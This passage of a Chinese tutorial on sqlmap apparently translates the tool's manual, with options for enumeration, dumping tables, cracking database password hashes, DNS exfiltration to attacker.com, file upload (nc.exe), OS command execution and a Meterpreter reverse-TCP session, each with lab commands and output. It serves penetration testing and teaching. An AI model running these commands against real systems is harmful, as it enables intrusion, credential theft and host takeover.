[10:59:30] [PAYLOAD] 001 UNION ALL SELECT 123,123,123,123,123,123,123,123,123,123,123,CONCAT(0x716b707171,0x776c71686e54726659424b49616d68756e64734d45774c4c7163494345794255784557597a484244,0x7178627071)-- aUXO
[10:59:30] [PAYLOAD] 001 UNION ALL SELECT 123,123,123,123,123,123,123,123,123,123,CONCAT(0x716b707171,0x6f5278444767675156496c724563714e6568634c6b5950646a6f4e53516b776d77474e7141425273,0x7178627071),123-- lPHb

仔细观察上示两例的输出就能明白联合查询注入中使用的字符就是UNION ALL SELECT XXX, XXX中的XXX。

联合查询注入中表名设置

参数：--union-from

有些情况下在联合查询中必须指定一个有效和可访问的表名，否则联合查询会执行失败，如在微软的 Access 中。
（也就是说，某些 DBMS 不支持SELECT 1,2;这样的语句，SELECT 必须有 FROM。）
用此参数指定这个表名，如：--union-from=users。

DNS 泄露攻击

参数：--dns-domain

SQL 注入中的 DNS 泄露攻击详情见论文《Data Retrieval over DNS in SQL Injection Attacks》。

假设攻击者控制着某域名（例如：attacker.com）的域名解析服务器，即查询该域名的子域名对应的 IP 地址都会到这台域名解析服务器来查询。
这时攻击者就可以使用--dns-domain attacker.com来进行 DNS 泄露攻击。

实际上若是攻击者没有控制任何一台域名解析服务器，那么她可以注册一个新域名，再自己搭建一台域名解析服务器用于接受数据。

二阶注入攻击

参数：--second-order

有时注入结果显示在别的页面，此时需要用此参数指明显示注入结果的页面，该参数后跟一个 URL。

指纹

指纹识别

默认地 Sqlmap 会自动对注入目标进行数据库管理系统指纹识别。

参数：-f 或--fingerprint

若想执行更广泛的数据库管理系统指纹识别可以添加此参数。

参数：-b 或--banner

若想得到更精确的指纹识别结果可以添加此参数，详情见后文。

暴力破解

暴力破解表名

参数：--common-tables

有些情况下用--tables不能列出数据库中表名来，如：

• 版本小于 5.0 的 MySQL 没有 information_schema 表
• 微软 Access 的 MSysObjects 表默认不可读
• 数据库用户权限过低无法读取表名

当无法读出表名时可以使用参数--common-tables暴力破解表名，
该参数使用的字典是 txt/common-tables.txt，其中存储了常见表名，可以手动编辑该文件。

暴力破解列名

参数：--common-columns

有些情况下用--columns不能列出数据表中列名来，如：

• 版本小于 5.0 的 MySQL 没有 information_schema 表
• 微软 Access 的 MSysObjects 表默认不可读
• 数据库用户权限过低无法读取列名

当无法读出列名时可以使用参数--common-columns暴力破解列名，
该参数使用的字典是 txt/common-columns.txt，其中存储了常见列名，可以手动编辑该文件。

列举数据

这些参数用于列举出数据库管理系统信息、数据结构和数据内容。

一键列举全部数据

参数：--all

使用这一个参数就能列举所有可访问的数据。但不推荐使用，因为这会发送大量请求，把有用和无用的信息都列举出来。

列举数据库系统信息

参数：-b 或--banner

大多数的现代数据库管理系统都有一个函数或是环境变量能够返回数据库管理系统的版本号和最后的补丁级别以及底层的操作系统信息。
通常这个函数是 version()、环境变量是@@version，当然要看目标数据库管理系统了。使用参数-b或--banner来列举数据库管理系统的这一信息。

下例中的数据库是 Oracle：

python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int.php?id=1" --banner

部分输出为：

[09:54:30] [INFO] fetching banner
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner: 'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'

下例中的数据库是 Mysql：

[09:56:32] [INFO] fetching banner
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: MySQL >= 5.0
banner:    '5.5.50-0ubuntu0.14.04.1'

列举当前用户

参数：--current-user

使用这一参数有可能将执行 SQL 语句的用户列举出来。

列举当前数据库

参数：--current-db

使用这一参数有可能将 WEB 应用连接的数据库名列举出来。

列举服务器主机名

参数：--hostname

使用这一参数有可能将数据库管理系统所在计算机的主机名列举出来，如：

python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --hostname

部分输出如下：

[xx:xx:04] [INFO] fetching server hostname
[xx:xx:04] [INFO] retrieved: debian-5.0-i386
hostname: 'debian-5.0-i386'

检测当前用户是否是管理员

参数：--is-dba

使用这一参数有可能能够检测当前用户是否是管理员，若是管理员则返回 True，否则返回 False。如：

python sqlmap.py -u "http://192.168.56.102/user.php?id=1" --is-dba

部分输出为：

[10:05:16] [INFO] testing if current user is DBA
[10:05:16] [INFO] fetching current user
[10:05:16] [WARNING] reflective value(s) found and filtering out
current user is DBA:    True

列举数据库管理系统中的用户

参数：--users

当前用户有读取包含了数据库管理系统中用户信息的系统表的权限时使用这一参数可以列举数据库管理系统中的用户。

列举并破解数据库管理系统用户密码 Hash 值

参数：--passwords

当前用户有读取包含了数据库管理系统中用户密码 Hash 值的系统表的权限时使用这一参数可以列举数据库管理系统中用户密码 Hash 值。
Sqlmap 会先列举用户，再列举用户密码 Hash 值。

下面是一个以 PostgreSQL 为目标的例子：

python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -v 1

部分输出如下所示：

back-end DBMS: PostgreSQL
[hh:mm:38] [INFO] fetching database users password hashes
do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
[hh:mm:42] [INFO] using hash method: 'postgres_passwd'
what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt]
[hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/N] n
[hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)
[hh:mm:49] [INFO] found: 'testpass' for user: 'testuser'
[hh:mm:50] [INFO] found: 'testpass' for user: 'postgres'
database management system users password hashes:
[*] postgres [1]:
  password hash: md5d7d880f96044b72d0bba108ace96d1e4
  clear-text password: testpass
[*] testuser [1]:
  password hash: md599e5ea7a6f7c3269995cba3927fd0093
  clear-text password: testpass

Sqlmap 不仅会列举出密码 Hash，还会解析密码 Hash 格式，并询问用户是否要通过密码字典的方式破解 Hash 值寻找出明文密码。

若想只枚举特定用户的密码使用参数-U指定用户，可用CU来代表当前用户，如：

python sqlmap.py -u "http://192.168.56.102/user.php?id=1" --password -U CU

部分输出如下：

database management system users password hashes:
[*] root [1]:
    password hash: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
    clear-text password: root

列举数据库管理系统的用户权限

参数：--privileges

当前用户有读取包含了数据库管理系统中用户信息的系统表的权限时使用这一参数可以列举数据库管理系统中用户的权限。通过用户权限可以判断哪些用户是管理员。

若想只枚举特定用户的权限使用参数-U指定用户，可用CU来代表当前用户。

若目标是微软的 SQL Server，这一参数会列出每个用户是否是管理员而不列出每个用户的具体权限。

列举数据库管理系统的用户角色

参数：--roles

当前用户有读取包含了数据库管理系统中用户信息的系统表的权限时使用这一参数可以列举数据库管理系统中用户的角色。

若想只枚举特定用户的角色使用参数-U指定用户，可用CU来代表当前用户。

官方手册上说只有目标数据库管理系统是 Oracle 时这一功能才可用，但我在 Mysql 中测试也是可用的。

列举数据库管理系统中的所有数据库

参数：--dbs

当前用户有读取包含了数据库管理系统中可用数据库信息的系统表的权限时使用这一参数可以列举数据库管理系统中所有数据库。

列举数据库数据库的所有表

参数：--tables、--exclude-sysdbs 和-D

当前用户有读取包含了数据库管理系统中可用数据库中数据表信息的系统表的权限时使用参数--tables可以列举用参数-D指定的数据库中的所有数据表。
若没有用参数-D指定数据库，只使用参数--tables会列举所有数据库中所有表。如：

python sqlmap.py -u "http://192.168.56.102/user.php?id=1" -D DBName --tables

使用参数--exclude-sysdbs可排除系统数据库。在 Oracle 中要指定 TABLESPACE_NAME 而不是数据库名。

列举数据表的所有列

参数：--columns、-C、-T 和-D

如权限允许，使用参数--columns可以列出用-D指定的数据库中用-T指定的表中的所有列的名字和数据类型。

若没有指定数据库则会默认使用当前数据库。还可以用-C指定感兴趣的某几列这样就不用列出所有列来。

下面是以 SQLite 为目标的例子：

python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" --columns -D testdb -T users

部分输出如下：

Database: SQLite_masterdb
Table: users
[3 columns]
+---------+---------+
| Column | Type     |
+---------+---------+
| id      | INTEGER |
| name    | TEXT    |
| surname | TEXT    |
+---------+---------+

在 PostgreSQL 中，数据库的名字一定是public或者是某个系统表
。因为在 PostgreSQL 中只能列举当前数据库或系统数据库中数据，而 WEB 应用连接的数据库别名总是public。

列举数据库管理系统的模式

参数：--schema 和--exclude-sysdbs

用户可用此选项列举数据库管理系统的模式。模式列表包含所有数据库、表、列、触发器和他们各自的类型。
同样地，可使用参数--exclude-sysdbs排除系统数据库。

下面是的例子测试对象是 Mysql:

部分输出如下：

[...]
Database: mysql
Table: procs_priv
[8 columns]
+--------------+----------------------------------------+
| Column       | Type                                   |
+--------------+----------------------------------------+
| Timestamp    | timestamp                              |
| User         | char(16)                               |
| Db           | char(64)                               |
| Grantor      | char(77)                               |
| Host         | char(60)                               |
| Proc_priv    | set('Execute','Alter Routine','Grant') |
| Routine_name | char(64)                               |
| Routine_type | enum('FUNCTION','PROCEDURE')           |
+--------------+----------------------------------------+
[...]
Database: mysql
Table: ndb_binlog_index
[7 columns]
+-----------+---------------------+
| Column    | Type                |
+-----------+---------------------+
| Position  | bigint(20) unsigned |
| deletes   | bigint(20) unsigned |
| epoch     | bigint(20) unsigned |
| File      | varchar(255)        |
| inserts   | bigint(20) unsigned |
| schemaops | bigint(20) unsigned |
| updates   | bigint(20) unsigned |
+-----------+---------------------+

列举表中数据条数

参数：--count

有时我们只想知道有多少数据而不想知道具体的数据内容，此时就可以使用该参数。如：

python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --count -D testdb

部分输出如下

Database: testdb
+----------------+---------+
| Table          | Entries |
+----------------+---------+
| dbo.users      | 4       |
| dbo.users_blob | 2       |
+----------------+---------+

列举表中数据

参数：--dump、-C、-T、-D、--start、--stop 和--where

权限允许时可以列举表中数据。用参数-D指定数据库，用参数-T指定数据表，用参数-C指定目标列。

若只指定了数据表而没有指定数据库则默认使用当前数据库。若没有指定列则列举表中全部列。

下例是以 Firebird 为目标：

python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1" --dump -T users

部分输出如下：

Database: Firebird_masterdb
Table: USERS
[4 entries]
+----+--------+------------+
| ID | NAME   | SURNAME    |
+----+--------+------------+
| 1 | luther | blisset     |
| 2 | fluffy | bunny       |
| 3 | wu     | ming        |
| 4 | NULL   | nameisnull  |
+---+--------+-------------+

只使用参数--dump和-D可以一次性列举整个数据库中所有数据。

Sqlmap 会自动将参数--dump列举的数据保存到 CSV 格式文件中，文件具体路径会在 Sqlmap 的输出中给出，如：

python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" -D DSSchool --dump

结果

[11:15:27] [INFO] analyzing table dump for possible password hashes
Database: DSSchool
Table: T_SCORESYSTEMTEACHERS
[2 entries]
+-----+----------+-------+---------+----------+
| AGE | NAME     | TITLE | ACCOUNT | PASSWORD |
+-----+----------+-------+---------+----------+
| 21  | neo      | ??    | 001     | 001      |
| 31  | morphine | ??    | 002     | 002      |
+-----+----------+-------+---------+----------+

[11:15:27] [INFO] table 'DSSchool.T_SCORESYSTEMTEACHERS' dumped to CSV file '/home/werner/.sqlmap/output/192.168.56.102/dump/DSSchool/T_SCORESYSTEMTEACHERS.csv'

截取的输出中最后一行便是 CSV 文件保存的路径。

若只想列举部分数据可以使用参数--start和--stop。如只想列举第一条数据可以添加--stop 1，
只想列举第二和第三条数据可以添加--start 1 --stop 3，可见这是一个左开右闭区间。
区间范围仅在盲注中有效，因为在基于错误信息的注入和联合查询注入中区间范围会被忽略。

除了用区间范围限制列举的数据外，还可以用--where参数来限制列举的数据。
--where参数会被 Sqlmap 转换成 WHERE 子句，如--where id>3会只列举列 id 的值大于 3 的数据。

如你所见，Sqlmap 十分灵活。可以囫囵地列举整个数据库，也可以细致地在表中选择列，在列中又选择特定数据。

列举所有数据库所有表中所有数据

参数：--dump-all 和--exclude-sysdbs

使用参数--dump-all可列举所有数据库所有表中所有数据。同样地，可使用参数--exclude-sysdbs排除系统数据库。

注意微软 SQL Server 的 master 数据库不属于系统数据库，因为有些管理员会在这个数据库中存储用户数据

在数据库、表、列中搜索

参数：--search、-C、-T 和-D

可以搜索数据库名，在所有数据库中搜索表名，在所有数据库的所有表中搜索列名。

参数--search要和下列参数之一配合使用：

• -C：后跟以逗号分隔的列名，在整个数据库管理系统中搜索
• -T：后跟以逗号分隔的表名，在整个数据库管理系统中搜索
• -D：后跟以逗号分隔的库名，在整个数据库管理系统中搜索

在搜索时，Sqlmap 会询问用户进行精确搜索还是包含搜索。
默认为包含搜索，即搜索的字符串包含于结果中就认为命中。
精确搜索要求搜索的字符串与结果完全相等。

运行自定义的 SQL 语句

参数：--sql-query 和--sql-shell

这一功能允许执行任意的 SQL 语句，Sqlmap 会自动解析给出的 SQL 语句，选择恰当的注入技术并将给出的 SQL 语句打包到 payload 中。

如果查询是个 SELECT 语句，Sqlmap 会返回查询结果。如果 Web 应用使用的数据库管理系统支持多语句查询，Sqlmap 会使用堆注入技术。
但要注意 Web 应用可能不支持堆查询，例如 PHP 使用 Mysql 时不支持堆查询，但使用 PostgreSQL 时支持堆查询。

下例的目标是 SQL Server 2000：

python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo'" -v 1

部分输出如下：

[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
[hh:mm:14] [INFO] retrieved: foo
SELECT 'foo':
'foo'1234

python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo', 'bar'" -v 2

部分输出如下：

[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now
unpack it into distinct queries to be able to retrieve the output even if we are
going blind
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS
VARCHAR(8000)), (CHAR(32)))
[hh:mm:50] [INFO] retrieved: foo
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VA
RCHAR(8000)), (CHAR(32)))
[hh:mm:50] [INFO] retrieved: bar
[hh:mm:50] [DEBUG] performed 27 quer123456789101112

如你所见，Sqlmap 将提供的 SQL 语句分成了两个不同的 SELECT 语句，并分别返回结果。

参数--sql-shell提供一个交互式的 SQL 语句执行环境，支持 Tab 键补全和命令历史记录。如：

python sqlmap.py -u "http://192.168.56.102/user.php?id=1" --sql-shell

部分输出如下：

[15:06:47] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql-shell> select 'foo';
[15:07:41] [INFO] fetching SQL SELECT statement query output: 'select 'foo''
select 'foo';:    'foo'
sql-shell> select password from mysql.user where user='root';
[15:07:42] [INFO] fetching SQL SELECT statement query output: 'select password from mysql.user where user='root''
select password from mysql.user where user='root'; [1]:
[*] *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
sql-shell> show tables;
[15:11:15] [INFO] fetching SQL SELECT statement query output: 'show tables'
[15:11:15] [WARNING] something went wrong with full UNION technique (could be because of limitation on retrieved number of entries)
show tables; [1]:

注入后

文件系统控制

清除 Sqlmap 创建的临时表和自定义函数

参数：--cleanup

强烈推荐在测试结束后使用此参数清除 Sqlmap 创建的临时表和自定义函数，Sqlmap 会尽可能地清除数据库管理系统和文件系统上的入侵痕迹。

UDF 注入

参数：--udf-inject

UDF 是user-defined function的缩写，UDF 是一种针对 MySQL 和 PostgreSQL 的高级注入技术，详情见《Advanced SQL injection to operating system full control》。

可以编译 MySQL 或 PostgreSQL 的共享库、DLL（Windows）和共享对象（Linux/Unix）并将这些文件在本机上的路径提供给 Sqlmap 来进行 UDF 注入。
Sqlmap 会先问一些问题然后上传 UDF 文件并创建 UDF 最后根据问题答案执行 UDF。完成 UDF 注入后，Sqlmap 会删除上传的 UDF 文件。

参数：--shared-lib

添加此参数 Sqlmap 会在运行时询问共享库文件路径。

在 Sqlmap 安装目录的 udf 目录中有许多 UDF 文件，按照 DMBS、操作系统、位数和版本归类，可以直接使用。

UDF: UDF

读取文件

参数：--file-read

当数据库管理系统是 MySQL、PostgreSQL 或微软的 SQL Server 且当前用户有读取文件相关权限时读取文件是可行的。
读取的文件既可以是文件文件也可以是二进制文件，Sqlmap 会处理好的。下例的目标数据库管理系统是 SQL Server 2005：

python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther" --file-read "C:/example.exe" -v 1

部分输出如下：

[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005
[hh:mm:50] [INFO] fetching file: 'C:/example.exe'
[hh:mm:50] [INFO] the SQL query provided returns 3 entries
C:/example.exe file saved to:
'/software/sqlmap/output/192.168.136.129/files/C__example.exe'

然后查看下载的文件：

$ ls -l output/192.168.136.129/files/C__example.exe
-rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C__example.exe
$ file output/192.168.136.129/files/C__example.exe
output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit

上传文件

参数：--file-write 和--file-dest

当数据库管理系统是 MySQL、PostgreSQL 或微软的 SQL Server 且当前用户有写文件相关权限时上传文件是可行的。
上传的文件既可以是文件文件也可以是二进制文件，Sqlmap 会处理好的。下例的目标数据库管理系统是 MySQL，上传了一个二进制的 UPX 压缩文件：

$ file /software/nc.exe.packed
/software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit
$ ls -l /software/nc.exe.packed
-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed
$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" -\
-file-write "/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1
[...]
[hh:mm:29] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or 2008
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: MySQL >= 5.0.0
[...]
do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been success
fully written on the back-end DBMS file system? [Y/n] y
[hh:mm:52] [INFO] retrieved: 31744
[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 b
ytes, same size as the local file '/software/nc.exe.packed'

操作系统控制

执行任意操作系统命令

参数：--os-cmd 和--os-shell

若数据库管理系统是 MySQL、PostgreSQL 或微软的 SQL Server 且当前用户有相关权限 Sqlmap 就能利用 SQL 注入执行任意的操作系统命令。

当数据库管理系统是 MySQL 或 PostgreSQL 时，Sqlmap 会通过前面介绍过的文件上传功能上传一个包含用户自定义函数 sys_exec()和 sys_eval()的二进制共享库文件，然后创建这两个用户自定义函数，通过这两个函数之一来执行用户指定的命令。选择哪个函数取决于用户是否想要显示命令执行的标准输出。

当数据库管理系统是微软的 SQL Server 时，Sqlmap 通过存储过程 xp_cmdshell 来执行任意命令。
若 xp_cmdshell 被禁用（SQL Server >= 2005 时默认禁用）Sqlmap 会启用它；
若 xp_cmdshell 不存在，Sqlmap 会创建它。

当用户想要看到命令执行的标准输出时，Sqlmap 使用可列举的注入技术（盲注、带内和基于错误的注入），而当用户不想看到命令执行的标准输出时，堆查询注入技术将被用于执行命令。

下例的目标是 PostgreSQL：

python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --os-cmd id -v 1

部分输出如下所示：

web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: PostgreSQL
[hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:12] [INFO] the back-end DBMS operating system is Linux
[hh:mm:12] [INFO] testing if current user is DBA
[hh:mm:12] [INFO] detecting back-end DBMS version from its banner
[hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist
[hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file
[hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file
do you want to retrieve the command standard output? [Y/n/a] y
command standard output:
'uid=104(postgres) gid=106(postgres) groups=106(postgres)'
[hh:mm:19] [INFO] cleaning up the database management system
do you want to remove UDF 'sys_eval'? [Y/n] y
do you want to remove UDF 'sys_exec'? [Y/n] y
[hh:mm:23] [INFO] database management system cleanup finished
[hh:mm:23] [WARNING] remember that UDF shared object files saved on the file system can only be deleted manually

使用参数--os-shell可以模拟一个可以执行任意命令的 shell，和--sql-shell一样这个 shell 也可以用 Tab 键补全，支持历史记录。

当堆查询不被支持（如 PHP 或 ASP+Mysql）且数据库管理系统是 MySQL 时，仍然可以通过 SELECT 的从句 INTO OUTFILE 在 Web 所在主机的可写目录创建一个 Web 后门，通过这个 Web 后门来执行命令。Sqlmap 支持这一技术并要求用户提供一些用逗号分割的可能是可写目录的路径。Sqlmap 支持以下这些服务器端脚本语言：

ASP
ASP.NET
JSP
PHP

带外 TCP 连接：Meterpreter 及相关

参数：--os-pwn、--os-smbrelay、--os-bof、--priv-esc、--msf-path 和--tmp-path

若数据库管理系统是 MySQL、PostgreSQL 或微软的 SQL Server 且当前用户有相关权限 Sqlmap 就有可能在攻击者的主机和数据库所在主机之间建立带外 TCP 连接。根据用户的选择，此连接可以是交互式命令 shell，Meterpreter 会话或图形用户界面（VNC）会话。

Sqlmap 要靠 Metasploit 生成 shellcode，在数据库所在主机执行 shellcode 有以下四种技术：

• 数据库通过 Sqlmap 创建的用户自定义函数 sys_bineval()在内存中执行 Metasploit 的 shellcode。支持 MySQL 和 PostgreSQL。参数--os-pwn。
• 通过 Sqlmap 自己的用户自定义函数（MySQL 和 PostgreSQL 中的 sys_exec()，微软 SQL Server 中的 xp_cmdshell()）上传并执行 Metasploit 的stand-alone payload stager。参数：--os-pwn。
• 利用远程代码执行漏洞MS08-068。攻击者的机器要用 Metasploit 的 smb_relay 监听来自目标机器的连接。要求在 Linux/Unix 上以 root 权限运行 Sqlmap 且目标 DBMS 在 Windows 上以管理员权限运行。参数：--os-smbrelay。
• 在微软 SQL Server 2000 和 2005 中可通过存储过程 sp_replwritetovarbin 的堆缓冲区溢出漏洞（MS09-004）在内存中执行 Metasploit 的 shellcode。Sqlmap 有自己的数据执行保护绕过技术可以成功利用漏洞，但需要 Metasploit 生成 shellcode 以便在成功利用漏洞时执行 shellcode。参数：--os-bof。

下面是以 MySQL 为目标的例子：

python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?id=1" --os-pwn --msf-path /software/metasploit

[...]
[hh:mm:31] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: MySQL 5.0
[hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:31] [INFO] the back-end DBMS operating system is Windows
how do you want to establish the tunnel?
[1] TCP: Metasploit Framework (default)
[2] ICMP: icmpsh - ICMP tunneling
>
[hh:mm:32] [INFO] testing if current user is DBA
[hh:mm:32] [INFO] fetching current user
what is the back-end database management system architecture?
[1] 32-bit (default)
[2] 64-bit
>
[hh:mm:33] [INFO] checking if UDF 'sys_bineval' already exist
[hh:mm:33] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:33] [INFO] detecting back-end DBMS version from its banner
[hh:mm:33] [INFO] retrieving MySQL base directory absolute path
[hh:mm:34] [INFO] creating UDF 'sys_bineval' from the binary UDF file
[hh:mm:34] [INFO] creating UDF 'sys_exec' from the binary UDF file
how do you want to execute the Metasploit shellcode on the back-end database und
erlying operating system?
[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)
[2] Stand-alone payload stager (file system way)
>
[hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcode
which connection type do you want to use?
[1] Reverse TCP: Connect back from the database host to this machine (default)
[2] Reverse TCP: Try to connect back from the database host to this machine, on
all ports
between the specified and 65535
[3] Bind TCP: Listen on the database host for a connection
>
which is the local address? [192.168.136.1]
which local port number do you want to use? [60641]
which payload do you want to use?
[1] Meterpreter (default)
[2] Shell
[3] VNC
>
[hh:mm:40] [INFO] creation in progress ... done
[hh:mm:43] [INFO] running Metasploit Framework command line interface locally, please wait..

=[ metasploit v3.7.0-dev [core:3.7 api:1.0]
+ -- --=[ 674 exploits - 351 auxiliary
+ -- --=[ 217 payloads - 27 encoders - 8 nops
=[ svn r12272 updated 4 days ago (2011.04.07)
PAYLOAD => windows/meterpreter/reverse_tcp
EXITFUNC => thread
LPORT => 60641
LHOST => 192.168.136.1
[*] Started reverse handler on 192.168.136.1:60641
[*] Starting the payload handler...
[hh:mm:48] [INFO] running Metasploit Framework shellcode remotely via UDF 'sys_bineval', please wait..
[*] Sending stage (749056 bytes) to 192.168.136.129
[*] Meterpreter session 1 opened (192.168.136.1:60641 -> 192.168.136.129:1689) at Mon Apr 11 hh:mm:52 +0100 2011
meterpreter > Loading extension espia...success.
meterpreter > Loading extension incognito...success.
meterpreter > [-] The 'priv' extension has already been loaded.
meterpreter > Loading extension sniffer...success.
meterpreter > System Language : en_US
OS            : Windows .NET Server (Build 3790, Service Pack 2).
Computer      : W2K3R2
Architecture  : x86
Meterpreter   : x86/win32
meterpreter > Server username: NT AUTHORITY\SYSTEM
meterpreter > ipconfig

MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address : 127.0.0.1
Netmask    : 255.0.0.0

Intel(R) PRO/1000 MT Network Connection
Hardware MAC: 00:0c:29:fc:79:39
IP Address : 192.168.136.129
Netmask    : 255.255.255.0

meterpreter > exit
[*] Meterpreter session 1 closed. Reason: User exit

在 Windows 中 Mysql 默认以 SYSTEM 身份运行，但 PostgreSQL 无论是在 Windows 还是在 Linux 中都以低权限的用户 postgres 运行。SQL Server 2000 默认以 SYSTEM 身份运行，但 SQL Server 2005 到 2008 大多数时间以 NETWORK SERVICE 身份运行，少数时候以 LOCAL SERVICE 身份运行。

使用参数--priv-esc可以执行 Metasploit 的 getsystem 命令以尝试提升权限。

Windows 注册表操作

满足以下条件就可以对 Windows 注册表进行操作：

• 目标数据库管理系统是运行在 Windows 上的
• 目标数据库管理系统是 MySQL、PostgreSQL 或微软 SQL Server
• 支持堆查询
• 目标数据库管理系统当前用户有足够的权限

读 Windows 注册表键值

参数：--reg-read

写 Windows 注册表键值

参数：--reg-add

删除 Windows 注册表键值

参数：--reg-del

辅助

参数：--reg-key、--reg-value、--reg-data 和--reg-type

适当使用上列参数就可以在命令中添加或修改一个 Windows 注册表键值而不用在 Sqlmap 运行时以问答方式提供数据。

• --reg-key：指定 Windows 注册表键值的路径
• --reg-value：指定 Windows 注册表键值的键
• --reg-data：指定 Windows 注册表键值的值
• --reg-type：指定 Windows 注册表键值的值的数据类型

下面是一个例子：

python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --reg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1

通用选项

杂项

从 SQLite 文件中载入 Sqlmap 会话

参数：-s

Sqlmap 会自动地为每一个目标创建长久保存的会话 SQLite 文件，该文件统一存储在特定目录（如：~/.sqlmap/output/）中，其中保存着恢复会话所需的所有数据。若用户想要明确地指定 SQLite 文件（例如想要将多个目标的数据存储到同一个 SQLite 文件中），可使用此参数。

将 HTTP(S)流量记录到日志文件中

参数：-t

该参数后跟一个文件路径，用于将 HTTP(S)请求和响应以文本格式记录到文件中作为日志。这样的日志在调试时是很有用的。

非交互模式

参数：--batch

使用该参数可以让 Sqlmap 以非交互模式运行，所有要求的输入都会取默认值。

设置字符编码

参数：--charset

为正确解码数据，Sqlmap 会使用 Web 服务器提供的信息（如 HTTP 头部中字符编码的设置），或是使用第三方库chardet来启发式地确定字符编码。

可以使用参数--charset来指定字符编码，如--charset=GBK。

从目标 URL 开始爬取目标站点

参数：--crawl

Sqlmap 可以从目标 URL 开始爬取目标站点并收集可能存在漏洞的 URL。使用该参数还需要设置爬取深度，深度是相对于开始爬取的目标 URL 而言的。只有所有新链接都被递归地访问过后才算爬取结束。建议该参数与--delay配合使用。

下例的目标的 MySQL：

python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/" --batch --crawl=3

部分输出如下：

[xx:xx:53] [INFO] starting crawler
[xx:xx:53] [INFO] searching for links with depth 1
[xx:xx:53] [WARNING] running in a single-thread mode. This could take a while
[xx:xx:53] [INFO] searching for links with depth 2
[xx:xx:54] [INFO] heuristics detected web page charset 'ascii'
[xx:xx:00] [INFO] 42/56 links visited (75%)

参数：--crawl-exclude

在此参数后跟一个正则表达式可以排除不想爬取的 URL。若 URL 匹配正则，则不被爬取。如用--crawl-exclude=logout来排除所有含有字符串logout的 URL。

设置输出 CSV 文件中的分隔符

参数：--csv-del

当数据被输出到 CSV 文件（--dump-format=CSV）时，默认以,分隔，可以使用此参数指定分隔符。如：--csv-del=";"。

数据库管理系统认证凭据

参数：--dbms-cred

在某些情况下由于数据库管理系统当前用户权限较低从而导致动作执行失败，此时可以用此参数提供 admin 用户认证凭据，Sqlmap 就会对执行失败的部分特地使用run as机制（如：微软 SQL Server 的 OPENROWSET）以 admin 用户身份重新执行失败的动作。当然，得知道 admin 用户认证凭据才行。

数据输出格式

参数：--dump-format

